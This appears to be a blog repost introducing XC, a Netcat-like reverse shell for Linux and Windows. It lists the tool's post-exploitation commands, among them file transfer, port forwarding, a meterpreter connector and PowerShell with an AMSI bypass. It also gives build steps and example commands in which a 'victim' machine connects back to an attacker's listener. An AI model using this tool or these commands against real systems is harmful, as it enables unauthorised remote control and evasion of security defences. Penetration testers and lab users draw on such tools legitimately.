Kali Linux

XC : A Small Reverse Shell For Linux And Windows

XC is a Netcat like reverse shell for Linux & Windows.

Features

Windows

Usage:
└ Shared Commands: !exit
!upload

  • uploads a file to the target
    !download
  • downloads a file from the target
    !lfwd
  • local portforwarding (like ssh -L)
    !rfwd
  • remote portforwarding (like ssh -R)
    !lsfwd
  • lists active forwards
    !rmfwd
  • removes forward by index
    !plugins
  • lists available plugins
    !plugin
  • execute a plugin
    !spawn
  • spawns another client on the specified port
    !shell
  • runs /bin/sh
    !runas
  • restart xc with the specified user
    !met
  • connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !powershell
    • starts powershell with AMSI Bypass
      !rc
    • connects to a local bind shell and restarts this client over it
      !runasps
    • restart xc with the specified user using powershell
      !vulns
    • checks for common vulnerabilities

Linux

Usage:
└ Shared Commands: !exit
!upload

  • uploads a file to the target
    !download
  • downloads a file from the target
    !lfwd
  • local portforwarding (like ssh -L)
    !rfwd
  • remote portforwarding (like ssh -R)
    !lsfwd
  • lists active forwards
    !rmfwd
  • removes forward by index
    !plugins
  • lists available plugins
    !plugin
  • execute a plugin
    !spawn
  • spawns another client on the specified port
    !shell
  • runs /bin/sh
    !runas
  • restart xc with the specified user
    !met
  • connects to a x64/meterpreter/reverse_tcp listener
    └ OS Specific Commands:
    !ssh
  • starts sshd with the configured keys on the specified port

Examples

  • Linux Attacker: rlwrap xc -l -p 1337 (Server)
  • WindowsVictim : xc.exe 10.10.14.4 1337 (Client)
  • Argumentless: xc_10.10.14.4_1337.exe (Client)

Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64 and kali go version go1.15.9 linux/amd64

git clone –recurse-submodules https://github.com/xct/xc.git
GO111MODULE=off go get golang.org/x/sys/…
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

Linux

python3 build.py

R K

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